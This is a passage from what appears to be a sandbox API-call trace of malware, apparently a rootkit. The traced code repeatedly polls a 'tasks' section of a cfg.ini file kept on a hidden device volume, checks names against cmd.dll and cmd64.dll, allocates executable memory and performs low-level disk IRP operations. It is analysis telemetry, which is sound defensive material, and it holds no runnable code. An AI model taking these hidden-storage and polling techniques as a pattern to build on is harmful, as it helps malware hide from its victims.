ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.196] ExFreePoolWithTag (P=0xfffffa800c4f7390, Tag=0x0) [0127.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.196] KeLeaveCriticalRegion () [0127.196] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.196] ReleaseMutex (hMutex=0xf0) returned 1 [0127.196] Sleep (dwMilliseconds=0x927c0) [0127.215] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.215] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.215] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.215] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.215] KeEnterCriticalRegion () [0127.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.215] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.216] IdePortDispatch () returned 0x103 [0127.216] KeWaitForMutexObject () returned 0x0 [0127.216] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.216] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.216] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.216] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.216] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.216] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7760 [0127.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.216] KeLeaveCriticalRegion () [0127.216] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.216] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.216] KeEnterCriticalRegion () [0127.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.216] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.216] KeLeaveCriticalRegion () [0127.216] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.216] KeEnterCriticalRegion () [0127.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.216] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.216] IdePortDispatch () returned 0x103 [0127.217] KeWaitForMutexObject () returned 0x0 [0127.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.217] KeLeaveCriticalRegion () [0127.217] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.217] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.217] KeEnterCriticalRegion () [0127.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.217] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9c000 [0127.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.217] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.217] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.217] IdePortDispatch () returned 0x103 [0127.217] KeWaitForMutexObject () returned 0x0 [0127.217] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.217] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.217] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.218] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.218] IdePortDispatch () returned 0x103 [0127.218] KeWaitForMutexObject () returned 0x0 [0127.218] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.218] KeLeaveCriticalRegion () [0127.218] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.218] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.219] KeEnterCriticalRegion () [0127.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.219] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.219] KeLeaveCriticalRegion () [0127.219] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.219] KeEnterCriticalRegion () [0127.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.219] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.219] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.219] KeLeaveCriticalRegion () [0127.219] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.219] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.219] KeEnterCriticalRegion () [0127.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.219] ExFreePoolWithTag (P=0xfffffa800c4f7760, Tag=0x0) [0127.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.219] KeLeaveCriticalRegion () [0127.219] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.219] ReleaseMutex (hMutex=0xf0) returned 1 [0127.219] Sleep (dwMilliseconds=0x927c0) [0127.237] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.237] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.237] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.237] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.237] KeEnterCriticalRegion () [0127.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.237] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.237] IdePortDispatch () returned 0x103 [0127.237] KeWaitForMutexObject () returned 0x0 [0127.237] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.238] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.238] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.238] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.238] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.238] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7390 [0127.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.238] KeLeaveCriticalRegion () [0127.238] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.238] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.238] KeEnterCriticalRegion () [0127.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.238] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.238] KeLeaveCriticalRegion () [0127.238] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.238] KeEnterCriticalRegion () [0127.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.238] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.238] IdePortDispatch () returned 0x103 [0127.238] KeWaitForMutexObject () returned 0x0 [0127.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.238] KeLeaveCriticalRegion () [0127.238] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.239] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.239] KeEnterCriticalRegion () [0127.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba1000 [0127.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.239] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.239] IdePortDispatch () returned 0x103 [0127.239] KeWaitForMutexObject () returned 0x0 [0127.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.240] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.240] IdePortDispatch () returned 0x103 [0127.240] KeWaitForMutexObject () returned 0x0 [0127.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.240] KeLeaveCriticalRegion () [0127.240] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.241] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.241] KeEnterCriticalRegion () [0127.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.241] KeLeaveCriticalRegion () [0127.241] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.241] KeEnterCriticalRegion () [0127.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.241] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.241] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.241] KeLeaveCriticalRegion () [0127.241] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.241] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.241] KeEnterCriticalRegion () [0127.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.241] ExFreePoolWithTag (P=0xfffffa800c4f7390, Tag=0x0) [0127.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.241] KeLeaveCriticalRegion () [0127.241] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.241] ReleaseMutex (hMutex=0xf0) returned 1 [0127.241] Sleep (dwMilliseconds=0x927c0) [0127.264] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.265] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.265] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.265] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.265] KeEnterCriticalRegion () [0127.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.265] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.265] IdePortDispatch () returned 0x103 [0127.265] KeWaitForMutexObject () returned 0x0 [0127.265] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.265] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.265] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.265] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.265] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.265] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf52d0 [0127.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.265] KeLeaveCriticalRegion () [0127.265] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.265] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.265] KeEnterCriticalRegion () [0127.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.265] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.265] KeLeaveCriticalRegion () [0127.266] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.266] KeEnterCriticalRegion () [0127.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.266] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.266] IdePortDispatch () returned 0x103 [0127.266] KeWaitForMutexObject () returned 0x0 [0127.266] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.266] KeLeaveCriticalRegion () [0127.266] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.266] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.266] KeEnterCriticalRegion () [0127.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.266] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba6000 [0127.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.266] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.266] IdePortDispatch () returned 0x103 [0127.267] KeWaitForMutexObject () returned 0x0 [0127.267] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.267] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.267] IdePortDispatch () returned 0x103 [0127.267] KeWaitForMutexObject () returned 0x0 [0127.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.267] KeLeaveCriticalRegion () [0127.267] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.268] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.268] KeEnterCriticalRegion () [0127.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.268] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.268] KeLeaveCriticalRegion () [0127.268] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.268] KeEnterCriticalRegion () [0127.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.268] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.268] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1bb0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.268] KeLeaveCriticalRegion () [0127.268] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.268] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.268] KeEnterCriticalRegion () [0127.268] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.268] ExFreePoolWithTag (P=0xfffffa8003bf52d0, Tag=0x0) [0127.268] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.268] KeLeaveCriticalRegion () [0127.268] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.268] ReleaseMutex (hMutex=0xf0) returned 1 [0127.269] Sleep (dwMilliseconds=0x927c0) [0127.297] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.297] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.300] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.300] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.300] KeEnterCriticalRegion () [0127.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.300] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.301] IdePortDispatch () returned 0x103 [0127.301] KeWaitForMutexObject () returned 0x0 [0127.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.301] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.301] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.301] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.301] FsRtlInitializeFileLock 